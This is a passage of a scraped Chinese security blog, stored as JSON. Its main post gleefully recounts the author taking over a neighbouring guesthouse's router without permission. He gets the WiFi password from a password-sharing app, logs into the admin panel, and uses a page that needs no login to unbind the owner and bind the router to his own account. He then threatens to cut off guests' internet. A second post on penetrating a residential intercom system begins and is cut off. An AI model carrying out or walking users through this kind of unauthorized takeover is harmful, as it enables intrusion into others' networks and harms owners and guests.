\u5c3a\u5bf8: 1572 x 900 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"516\"></a></div>\r\n<div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23471 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u6211\u662f\u5982\u4f55\u5c06\u9152\u5e97\u7684\u8def\u7531\u5668\u5f3a\u5236\u7ed1\u5b9a\u5230\u6211\u7684\u8d26\u53f7\u4e0b"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2018-05-23, 10:04 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u4fe1\u606f\u5b89\u5168", "\n\t\t\t\t\t\t\t\t\n, ", "\u653b\u51fb\u6d4b\u8bd5", "\n\t\t\t\t\t\t\t\t\n, ", "\u539f\u521b", "\n\t\t\t\t\t\t\t\t\n, ", "\u9690\u79c1\u4fdd\u62a4", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u524d\u8a00\r\n</h2>\r\n<p>\r\n\t\u535a\u4e3b\u6211\u6bcf\u5929\u770b\u5230\u90a3\u4e48\u5bf9\u5c0f\u60c5\u4fa3\u8fdb\u8fdb\u51fa\u51fa\u9152\u5e97\u6709\u70b9\u5c0f\u7fa1\u6155\uff0c\u66f4\u4f55\u51b5\u9152\u5e97\u91cc\u9762\u90fd\u662f\u5404\u79cd\u60c5\u8da3\u623f\uff0c\u5927\u5706\u5e8a\uff0c\u5567\u5567.....\r\n</p>\r\n<p>\r\n\t\u4f46\u662f\u4f60\u53ef\u77e5\u9053\uff0c\u5047\u5982\u6709\u4e00\u5929\uff0c\u4f60\u8fde\u4e0a\u9152\u5e97WiFi\u4e4b\u540e\uff0c\u4f60\u7684\u624b\u673a\u540d\u79f0\u5c31\u51fa\u73b0\u5728\u4e86\u522b\u4eba\u7684\u624b\u673a\u4e0a\uff0c\u8fd9\u5c31\u975e\u5e38\u7684\u5c34\u5c2c\u4e86\r\n</p>\r\n<h2>\r\n\t\u80cc\u666f\r\n</h2>\r\n<p>\r\n\t\u535a\u4e3b\u662f\u4e2a\u4fdd\u5b88\u7684\u7537\u4eba\uff0c\u5bb6\u9644\u8fd1\u6709\u4e2a\u4f4f\u5b85\u623f\u88ab\u6539\u6210\u4e86\u6240\u8c13\u7684\u6c11\u5bbf\uff0c\u8bf4\u662f\u975e\u6cd5\u7ecf\u8425\u4e5f\u4e0d\u7b97\uff0c\u4eba\u5bb6\u53ef\u662f\u6709\u8425\u4e1a\u6267\u7167\u7684\uff0c\u6c11\u5bbf\u8fd9\u73a9\u610f\u8fd8\u633a\u706b\uff0c\u81ea\u4ece\u5f00\u4e1a\u4ee5\u540e\u751f\u610f\u706b\u7206\uff0c\u6bd5\u7adf\u5728\u5b66\u6821\u65c1\u8fb9\uff0c\u5b66\u751f\u5c0f\u60c5\u4fa3\u6765\u6765\u5f80\u5f80\uff0c\u5176\u5b9e\u8fd9\u5bf9\u535a\u4e3b\u6211\u8fd9\u79cd\u601d\u60f3\u4fdd\u5b88\u7684IT\u7537\u5e76\u6ca1\u6709\u5b9e\u8d28\u4e0a\u7684\u5f71\u54cd\uff0c\u4f46\u662f\u7279\u4e48\u7684\u6709\u65f6\u5019\u534a\u591c\u4e24\u4e09\u70b9\u5728\u90a3\u6572\u95e8\u5b9e\u5728\u662f\u5435\uff0c\u8981\u77e5\u9053\u51cc\u66683\u70b9\u662f\u4ec0\u4e48\u65f6\u95f4\uff0c\u7279\u4e48\u7684\u535a\u4e3b\u6211\u6b63\u5728\u5f00\u5fc3\u7684\u64b8\u4ee3\u7801\uff0c\u4f60\u4eec\u8fd9\u4e48\u5927\u58f0\u4f1a\u5f71\u54cd\u5230\u6211\u5de5\u4f5c\u4f60\u4eec\u4e0d\u61c2\u5417\uff0c\u771f\u662f\u6c14...\r\n</p>\r\n<h2>\r\n\t\u4e3b\u9898<br>\r\n</h2>\r\n<p>\r\n\t\u6c14\u7684\u4e0d\u884c\uff0c\u535a\u4e3b\u6211\u4e00\u6012\u4e4b\u4e0b\u7ffb\u51fa3\u5e74\u524d\u56e4\u4e0b\u7684TOTOLINK\u53cc\u5929\u7ebf\u8d85\u5f3a\u8e6d\u7f51\u5361\uff0c\u5bf9\uff0c\u5c31\u662f\u4e0b\u56fe\u8fd9\u73a9\u610f\uff0c\u771f\u7684\u8d85\u7ea7\u597d\u7528</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=670\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/cd1850d72632040e436712f305cadef5.jpg\" alt=\"wangka.jpg - \u5927\u5c0f: 355.23 KB - \u5c3a\u5bf8: 900 x 508 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"508\"></a></div>\u7528\u4e0a\u65e0\u7ebf\u7f51\u5361\u4e4b\u540e\u4fe1\u53f7\u589e\u5f3a\u4e86\u4e0d\u5c11\uff0c\u627e\u5230\u53ea\u6709\u4e00\u683c\u4fe1\u53f7\u7684\u76ee\u6807ssid\uff0c\u5f00\u59cb\u731c\u5bc6\u7801\uff0c\u5e38\u7528\u5bc6\u7801\u8bd5\u4e86\u4e2a\u904d\u4e0d\u884c\uff0c\u5f97\u6362\u4e2a\u601d\u8def\uff0c\u7834\u89e3\u662f\u4e0d\u4f1a\u7834\u89e3\u7684\uff0c\u4e00\u8f88\u5b50\u90fd\u4e0d\u4f1a\u7834\u89e3\u7684\uff0c\u4e3a\u4e86\u8fd9\u73a9\u610f\u6211\u72af\u4e0d\u7740\u4e0a\u7834\u89e3\u5de5\u5177\uff0c\u65e2\u7136\u662f\u6c11\u5bbf\uff0c\u4e00\u5b9a\u6709\u5728\u4ec0\u4e48\u67d0\u56e2\uff0c\u67d0\u732a\u77ed\u79df\uff0c\u67d0\u732a\u8fd9\u7c7bAPP\u4e0a\u53ef\u4ee5\u5b9a\uff0c\u6211\u9996\u5148\u5f97\u62ff\u5230\u7535\u8bdd\u53f7\u7801\uff0c\u4e07\u4e00wifi\u5bc6\u7801\u5c31\u662f\u624b\u673a\u53f7\u5462\uff1f\r\n\r\n<p>\r\n\t\u8bf4\u5e72\u5c31\u5e72\uff0c\u6253\u5f00\u67d0\u732aAPP\u4e00\u641c\u7d22\u679c\u7136\u627e\u5230\u76ee\u6807\uff0c\u987a\u5229\u62ff\u5230\u624b\u673a\u53f7\u7801</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=671\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/dc42218dd76d0c376ba0462c260a2cff.jpg\" alt=\"\u5fae\u4fe1\u56fe\u7247_20180523212950.jpg - \u5927\u5c0f: 203.7 KB - \u5c3a\u5bf8: 1080 x 1199 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"810\" height=\"900\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=672\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/6c2d6dd66bb314cc2baee244f4841b43.jpg\" alt=\"\u5fae\u4fe1\u56fe\u7247_20180523212955.jpg - \u5927\u5c0f: 153.46 KB - \u5c3a\u5bf8: 1080 x 768 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"640\"></a></div>\u770b\u4e86\u4e0b\u6c11\u5bbf\u7684\u8bc4\u4ef7\u8fd8\u633a\u9ad8\uff0c\u6bd5\u7adf\u4e00\u665a\u624d100\u6765\u5757\uff0c\u770b\u4e0b\u6c11\u5bbf\u7684\u7167\u7247\u5427\uff0c\u770b\u5f97\u6211\u535a\u4e3b\u6211\u90fd\u6709\u70b9\u5fc3\u52a8\u4e86<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=673\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/f499956ed9cdc1a0462222dc993a0b1b.jpg\" alt=\"\u5fae\u4fe1\u56fe\u7247_20180523212958.jpg - \u5927\u5c0f: 529.89 KB - \u5c3a\u5bf8: 1080 x 1920 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"507\" height=\"900\"></a></div>\u5706\u5e8a\u60c5\u8da3\u4e3b\u9898\u623f\uff0c\u602a\u4e0d\u5f97\u90a3\u4e48\u591a\u5c0f\u60c5\u4fa3\u559c\u6b22\u6765\uff0c\u662f\u633a\u6709\u60c5\u8da3\u7684...\r\n\r\n<p>\r\n\t\u626f\u8fdc\u4e86\uff0c\u54b1\u4eec\u56de\u6765\u7ee7\u7eed\uff0c\u62ff\u5230\u624b\u673a\u53f7\u7801\u56de\u6765\u8bd5\u4e0b\uff0c\u53d1\u73b0wifi\u5bc6\u7801\u5e76\u4e0d\u662f\u624b\u673a\u53f7\u7801\uff0c\u60f3\u5230\u90a3\u4e48\u591a\u4eba\u4f4f\u8fc7\uff0c\u6211\u5c31\u4e0d\u4fe1wifi\u4e07\u80fd\u94a5\u5319\u4e0a\u6ca1\u6709\u3002\r\n</p>\r\n<p>\r\n\t\u6839\u636e\u4e4b\u524d\u4f7f\u7528\u5404\u79cd\u6240\u8c13\u7684\u94a5\u5319\uff0c\u6700\u7ec8\u6211\u9009\u62e9\u4e86\u6210\u529f\u7387\u76f8\u5bf9\u8f83\u9ad8\u7684\u67d0\u8bafWIFI\u7ba1\u5bb6\uff0c\u7ba1\u5bb6\u5c31\u662f\u7ba1\u5bb6\uff0c\u679c\u7136\u6709\uff0c\u4f46\u662f\u6211\u624b\u673awifi\u529f\u80fd\u5e76\u4e0d\u5f3a\u5927\uff0c\u4e8e\u662f\u628awifi\u5206\u6790\u4eea\u5f00\u542f\u6765\uff0c\u6765\u56de\u8d70\u52a8\uff0c\u7ec8\u4e8e\u627e\u5230\u4e00\u4e2a\u4fe1\u53f7\u6bd4\u8f83\u597d\u7684\u70b9\u8fde\u4e86\u4e0a\u53bb\uff0c\u7136\u540e\u4f7f\u7528wifi\u5bc6\u7801\u67e5\u770b\u5668\u987a\u5229\u62ff\u5230wifi\u5bc6\u7801\uff0c\u6700\u7ec8\u6211\u7528\u7535\u8111\u8fde\u4e0a\u4e86wifi\u3002\r\n</p>\r\n<p>\r\n\t\u63a5\u4e0b\u6765\u5c31\u662f\u767b\u5f55\u8def\u7531\u5668\u7684\u73af\u8282\u4e86\uff0c\u73b0\u5728\u7684\u667a\u80fd\u8def\u7531\u561b\uff0c\u90fd\u559c\u6b22\u641e\u4ec0\u4e48\u4e00\u952e\u914d\u7f6e\uff0c\u5927\u5bb6\u90fd\u641e\u7684\u5dee\u4e0d\u591a\uff0c\u7ba1\u7406\u5bc6\u7801\u5c31\u662fwifi\u5bc6\u7801\uff0c\u6211\u5c31\u8fd9\u6837\u8fdb\u53bb\u4e86\u8def\u7531\u5668\u7ba1\u7406</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=674\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/c677b275fa07ae3642411ee0634d7ab1.png\" alt=\"\u5fae\u4fe1\u56fe\u7247_20180523213720.png - \u5927\u5c0f: 131.11 KB - \u5c3a\u5bf8: 1128 x 774 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"618\"></a></div>\u4f46\u662f\u8fd9\u6709\u4ec0\u4e48\u7528\u5462\uff0c\u522b\u7740\u6025\uff0c\u597d\u620f\u8fd8\u5728\u540e\u5934\uff0c\u770b\u5230\u53f3\u4e0b\u89d2\u6709\u4e2aapp\uff0c\u58f0\u79f0\u53ef\u4ee5\u8fdc\u7a0b\u7ba1\u7406\u8def\u7531\u5668\uff0c\u8fd9\u4e2a\u6211\u559c\u6b22\uff0c\u4e0b\u8f7dapp\uff0c\u6ce8\u518c\u8d26\u53f7\u4e00\u6761\u9f99\uff0c\u7136\u540e\u5230\u4e86\u5173\u952e\u7684\u6dfb\u52a0\u8bbe\u5907\u4e86<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=675\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/b77a27f4ee2161e2e129a88123ff54a4.jpg\" alt=\"weibangding.jpg - \u5927\u5c0f: 145.27 KB - \u5c3a\u5bf8: 1080 x 1920 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"507\" height=\"900\"></a></div>\u70b9\u52a0\u53f7\u63d0\u793a\u6b64\u8bbe\u5907\u5df2\u88ab'\u624b\u673a\u7528\u6237_xxxx'\u7ed1\u5b9a\u4e86\u3002\r\n\r\n<p>\r\n\tEXO ME ????\u88ab\u7ed1\u5b9a\u4e86\uff1f\u90a3\u5c31\u662f\u88ab\u521a\u521a\u62ff\u5230\u7684\u90a3\u4e2a\u624b\u673a\u53f7\u7801\u7ed1\u4e86\u5457\uff0c\u5509\uff0c\u641e\u4e86\u534a\u5929\u7ed3\u679c\u6ca1\u620f\uff0c\u5728\u7ffb\u770b\u8def\u7531\u5668\u7ba1\u7406\u540e\u53f0\u7684\u65f6\u5019\u53d1\u73b0\u4e86\u4e00\u4e2a\u795e\u5947\u7684\u94fe\u63a5\uff0c\u8bf7\u770b\u8def\u7531\u5668\u7ba1\u7406\u754c\u9762\u90a3\u5f20\u56fe\u7684\u53f3\u8fb9\u7ea2\u8272\u6846\u6846\uff0c\u70b9\u51fb\u4e00\u4e0b\uff0c\u6253\u5f00\u4e86\u4e00\u4e2a\u66f4\u52a0\u795e\u5947\u7684\u9875\u9762</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=676\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/bbe08dc2bd0c14d9b4dfabf2f1ebca8c.png\" alt=\"\u5c4f\u5e55\u622a\u56fe 2018-05-23 21.05.10.png - \u5927\u5c0f: 94.05 KB - \u5c3a\u5bf8: 1000 x 905 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"815\"></a></div>\u8fd9\u7279\u4e48\u5b8c\u5168\u4e0d\u7528\u767b\u5f55\u7684\u5417\uff08\u9ed1\u4eba\u95ee\u53f7\u8138.jpg\uff09\u53ef\u662f\u660e\u660e\u5199\u7684\u662f\u767b\u5f55\u8d85\u65f6\uff0c\u8bf7\u91cd\u65b0\u767b\u5f55\uff0c\u800c\u4e14\u7ba1\u7406\u8005\u7684\u8d26\u53f7\u5c31\u76f4\u63a5\u66b4\u9732\u4e86<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=677\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/45948c7619a5f5dfdbc71ba5a9536de0.jpg\" alt=\"top.jpg - \u5927\u5c0f: 19.62 KB - \u5c3a\u5bf8: 666 x 62 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"666\" height=\"62\"></a></div>\u66f4\u53d8\u6001\u7684\u662f\u4e0b\u9762\u90a3\u4e9b\u6309\u94ae\u90fd\u662f\u53ef\u4ee5\u76f4\u63a5\u64cd\u4f5c\u7684\uff0c\u65e2\u7136\u53ef\u4ee5\u76f4\u63a5\u4fee\u6539\uff0c\u90a3\u535a\u4e3b\u6211\u5c31\u4e0d\u5ba2\u6c14\u4e86\uff0c\u76f4\u63a5\u89e3\u7ed1\uff01\u89e3\u7ed1\u6210\u529f<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=678\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/91a2d708a9a3c5313eac03abb542f837.png\" alt=\"\u5c4f\u5e55\u622a\u56fe 2018-05-23 21.06.09.png - \u5927\u5c0f: 132.46 KB - \u5c3a\u5bf8: 1163 x 767 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"594\"></a></div>\u8fde\u4e2a\u624b\u673a\u9a8c\u8bc1\u7801\u90fd\u4e0d\u9700\u8981\u7684\u5417\uff1f\u8fd9\u7279\u4e48\u4e0d\u662f\u6f0f\u6d1e\u7b97\u6211\u8f93\uff0c\u5c31\u662f\u4e00\u4e2a\u5927\u5927\u7684\u6f0f\u6d1e\u3002\r\n\r\n<p>\r\n\tOK\uff0c\u65e2\u7136\u89e3\u7ed1\u4e86\uff0c\u90a3\u5c31\u76f4\u63a5\u7ed1\u5b9a\u5230\u6211\u7684\u8d26\u53f7\u4e0b\u5427</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=679\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201805/e81f2d8e9be12733b8cea25709b132e8.jpg\" alt=\"bangding.jpg - \u5927\u5c0f: 416.73 KB - \u5c3a\u5bf8: 1080 x 1920 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"507\" height=\"900\"></a></div>\u81f3\u6b64\uff0c\u8fd9\u4e2a\u8def\u7531\u5668\u5df2\u7ecf\u88ab\u535a\u4e3b\u6211\u63a5\u7ba1\uff0c\u4ee5\u540e\u770b\u4f60\u4eec\u518d\u5927\u534a\u591c\u5435\u5f71\u54cd\u6211\u7684\u5de5\u4f5c\uff0c\u5c31\u62c9\u9ed1\u4f60\u4eec\u7684MAC\uff0c\u65ad\u4f60\u4eec\u7684\u7f51\u3002\r\n\r\n<h2>\r\n\t\u603b\u7ed3\r\n</h2>\r\n<p>\r\n\t\u4f60\u7684\u8def\u7531\u542c\u6211\u7684\u3002\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23470 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u6211\u662f\u5982\u4f55\u4e00\u6b65\u4e00\u6b65\u641e\u5b9a\u5c0f\u533a\u7684\u5b89\u9632\u7cfb\u7edf"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2018-05-20, 12:02 AM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u653b\u51fb\u6d4b\u8bd5", "\n\t\t\t\t\t\t\t\t\n, ", "Python", "\n\t\t\t\t\t\t\t\t\n, ", "\u539f\u521b", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u524d\u8a00\r\n</h2>\r\n<p>\r\n\t\u535a\u4e3b\u4ece\u5c0f\u5c31\u662f\u4e00\u4e2a\u559c\u6b22\u628a\u4e8b\u60c5\u7b80\u5355\u5316\u7684\u7537\u4eba\uff0c\u4f46\u662f\u73b0\u5b9e\u603b\u662f\u5728\u4e0d\u7ecf\u610f\u95f4\u7ed9\u4f60\u592a\u591a\u7684\u60ca\u559c\uff0c\u6bd4\u5982\u4e0d\u505c\u7684\u642c\u5bb6\u3002\r\n</p>\r\n<p>\r\n\t\u535a\u4e3b\u4ece\u5927\u5b66\u6bd5\u4e1a\u5230\u73b0\u5728\u524d\u524d\u540e\u540e\u51d1\u8db3\u4e8610\u6b21\u642c\u5bb6\u8fd0\u52a8\uff0c\u7ec8\u4e8e\u5728\u7b2c10\u6b21\u642c\u5bb6\u7684\u65f6\u5019\u642c\u8fdb\u4e86\u771f\u6b63\u5c5e\u4e8e\u81ea\u5df1\u7684\u623f\u5b50\u3002\r\n</p>\r\n<p>\r\n\t15\u5e74\u5e95\u8d81\u7740\u623f\u4ef7\u6700\u4f4e\u7684\u65f6\u5019\u6361\u4e86\u4e2a\u6f0f\uff0c\u4e00\u54ac\u7259\u4e70\u4e0b\u4e00\u5957\u4e24\u623f\u534a\u5c0f\u5c45\u5ba4\uff0c17\u5e74\u4ea4\u623f\u88c5\u4fee\uff0c\u7ec8\u4e8e\u572818\u5e74<span style=\"white-space:normal;\">\u521d\u8ba1\u5212</span>\u642c\u8fdb\u53bb\u4f4f\uff0c\u535a\u4e3b\u6211\u7ec8\u4e8e\u518d\u4e5f\u4e0d\u7528\u642c\u5bb6\u4e86\uff0c\u5fc3\u60c5\u6109\u60a6\uff0c\u4f4f\u8fdb\u53bb\u4e4b\u540e\u5c31\u5f00\u59cb\u5fd9\u4e4e\u5404\u79cd\u7410\u4e8b\uff0c\u6240\u4ee5\u8fd9\u51e0\u4e2a\u6708\u662f\u975e\u5e38\u7684\u7e41\u5fd9\uff0c\u535a\u5ba2\u4e5f\u66f4\u5f97\u5c11\uff0c\u4e0d\u8fc7\u5185\u5bb9\u90fd\u5728\u7b14\u8bb0\u91cc\u9762\uff0c\u6162\u6162\u66f4\u3002\r\n</p>\r\n<p>\r\n\t\u535a\u4e3b\u6240\u8d2d\u7684\u5c0f\u533a\u5bf9\u81ea\u5df1\u7684\u667a\u80fd\u5316\u7cfb\u7edf\u5ba3\u4f20\u7684\u5f88\u5230\u4f4d\uff0c\u6240\u4ee5\u95f2\u4e0b\u6765\u7684\u65f6\u5019\u535a\u4e3b\u6211\u5c31\u5bf9\u5c0f\u533a\u7684\u5b89\u9632\u7cfb\u7edf\u8fdb\u884c\u4e00\u6b21\u7b80\u5355\u7684\u6e17\u900f\uff0c\u8f7b\u677e\u62ff\u4e0b\u5404\u79cd\u5b89\u9632\u7cfb\u7edf\uff0c\u8fd9\u7bc7\u6587\u7ae0\u5c31\u6765\u8be6\u7ec6\u7684\u8bf4\u660e\u4e00\u4e0b\u3002\r\n</p>\r\n<h2>\r\n\t\u51c6\u5907\r\n</h2>\r\n<p>\r\n\t\u5f00\u59cb\u4e4b\u524d\uff0c\u535a\u4e3b\u9700\u8981\u5bf9\u73af\u5883\u8fdb\u884c\u4e00\u4e2a\u7b80\u5355\u7684\u63cf\u8ff0\uff0c\u4ee5\u4fbf\u5927\u5bb6\u80fd\u591f\u5728\u8111\u6d77\u4e2d\u8111\u8865\u4e00\u4e0b\u6574\u4e2a\u6e17\u900f\u6d4b\u8bd5\u7684\u8fc7\u7a0b\uff0c\u7b97\u662f\u535a\u4e3b\u5728\u7ebf\u4e0b\u6e17\u900f\u7684\u4e00\u4e2a\u4f8b\u5b50\u5427\uff0c\u5f80\u540e\u8fd8\u6709\u5bf9\u6574\u4e2a\u5546\u573a\u5404\u79cd\u5e97\u94fa\u5404\u79cd\u7684\u6e17\u900f\u8fc7\u7a0b\uff0c\u90fd\u4f1a\u4e00\u4e00\u8bb2\u89e3\u3002\r\n</p>\r\n<p>\r\n\t\u597d\u4e86\uff0c\u5e9f\u8bdd\u5c31\u4e0d\u591a\u8bf4\u4e86\uff0c\u54b1\u4eec\u65e2\u7136\u662f\u5bf9\u7f51\u7edc\u7cfb\u7edf\u8fdb\u884c\u6e17\u900f\u6d4b\u8bd5\uff0c\u81ea\u7136\u662f\u5f97\u6709\u4e00\u4e2a\u5165\u53e3\uff0c\u90a3\u8fd9\u4e2a\u5165\u53e3\u5728\u54ea\u627e\u5462\uff1f\r\n</p>\r\n<p>\r\n\t\u5927\u5bb6\u90fd\u77e5\u9053\uff0c\u4e00\u822c\u5c0f\u533a\u8fd9\u79cd\u5185\u90e8\u7684\u7f51\u7edc\u90fd\u662f\u4e0d\u76f4\u63a5\u8fde\u63a5\u5230\u5916\u7f51\u7684\uff0c\u5982\u679c\u8fde\u90a3\u4e5f\u662f\u505a\u4e86\u9694\u79bb\uff0c\u5355\u72ec\u6709\u4e00\u4e2a\u8df3\u677f\u6765\u505a\u8f6c\u53d1\uff0c\u8fd9\u6837\u76f8\u5bf9\u6bd4\u8f83\u5b89\u5168\uff0c\u4f46\u662f\u6b63\u5e38\u60c5\u51b5\u90fd\u662f\u6ca1\u5916\u7f51\u7684\uff0c\u8fd9\u79cd\u5c40\u57df\u7f51\u7cfb\u7edf\u6709\u4e24\u4e2a\u7a81\u51fa\u7684\u7279\u70b9\u3002\r\n</p>\r\n<p>\r\n\t\u7b2c\u4e00\u70b9\u5c31\u662f\u7ef4\u62a4\u4eba\u5458\u8fc7\u5206\u7684\u4fe1\u4efb\u4e86\u5185\u7f51\u7684\u673a\u5668\uff0c\u8ba4\u4e3a\u53ea\u8981\u4e0d\u8fde\u63a5\u5916\u7f51\u5c31\u57fa\u672c\u4e0a\u6ca1\u4e8b\uff0c\u9ad8\u6795\u65e0\u5fe7\uff0c\u771f\u662f\u56fe\u6837\u56fe\u68ee\u7834\u3002\r\n</p>\r\n<p>\r\n\t\u7b2c\u4e8c\u70b9\u5c31\u662f\u6ca1\u6709\u5b89\u5168\u9632\u62a4\u8f6f\u4ef6\uff0c\u5c31\u7b97\u6709\uff0c\u90a3\u4e5f\u662f\u75c5\u6bd2\u7279\u5f81\u5e93\u5343\u767e\u5e74\u4e0d\u4f1a\u66f4\u65b0\uff0c\u8ddf\u6446\u8bbe\u4e00\u6837\uff0c\u6ca1\u6709\u5916\u7f51\u66f4\u65b0\u4e2a\u6bdb\u7ebf\uff0c\u8fd9\u4e00\u70b9\u540e\u9762\u6709\u673a\u5668\u53ef\u4ee5\u9a8c\u8bc1\u3002\r\n</p>\r\n<p>\r\n\t\u6240\u4ee5\u5177\u5907\u8fd9\u4e24\u4e2a\u7279\u70b9\u7684\u5185\u90e8\u5c40\u57df\u7f51\u662f\u975e\u5e38\u8106\u5f31\u7684\uff0c\u53ea\u8981\u627e\u5230\u4e00\u4e2a\u5165\u53e3\uff0c\u57fa\u672c\u4e0a\u6574\u4e2a\u7f51\u7edc\u5c31game over\u4e86\uff0c\u8fd9\u4e2a\u5165\u53e3\u5c31\u975e\u5e38\u7684\u597d\u627e\u4e86\u3002\r\n</p>\r\n<p>\r\n\t\u4f17\u6240\u5468\u77e5\uff0c\u73b0\u5728\u7684\u5c0f\u533a\u90fd\u662f\u5bb6\u5bb6\u6237\u6237\u5b89\u88c5\u4e86\u4e00\u4e2a\u53ef\u89c6\u5bf9\u8bb2\u673a\uff0c\u8fd9\u73a9\u610f\u6709\u65f6\u5019\u633a\u597d\u7528\uff0c\u6bd4\u5982\u6709\u5ba2\u4eba\u6765\u4e86\uff0c\u697c\u4e0b\u5927\u95e8\u95e8\u7981\u53ef\u4ee5\u7528\u8fd9\u73a9\u610f\u8fdc\u7a0b\u5f00\u95e8\uff0c\u53ef\u4ee5\u8bed\u97f3\u5bf9\u8bb2\uff0c\u53ef\u4ee5\u770b\u5230\u5bf9\u65b9\u7684\u8138\uff0c\u8fd8\u53ef\u4ee5\u5f55\u97f3\u5f55\u50cf\uff0c\u4e0d\u4ec5\u5982\u6b64\uff0c\u8fd8\u80fd\u8ddf\u5bb6\u91cc\u7684\u70df\u96fe\u62a5\u8b66\u5668\u8fde\u8d77\u6765\uff0c\u53d1\u751f\u706b\u707e\u76f4\u63a5\u901a\u77e5\u7269\u4e1a\u5e76\u53d1\u51fa\u8b66\u62a5\uff0c\u8fd8\u53ef\u4ee5\u547c\u53eb\u5176\u4ed6\u4f4f\u6237\u6765\u4e00\u4e2a\u514d\u8d39\u7684\u5c40\u57df\u7f51\u8bed\u97f3\u804a\u5929\uff0c\u529f\u80fd\u53ef\u4ee5\u8bf4\u662f\u76f8\u5f53\u4e30\u5bc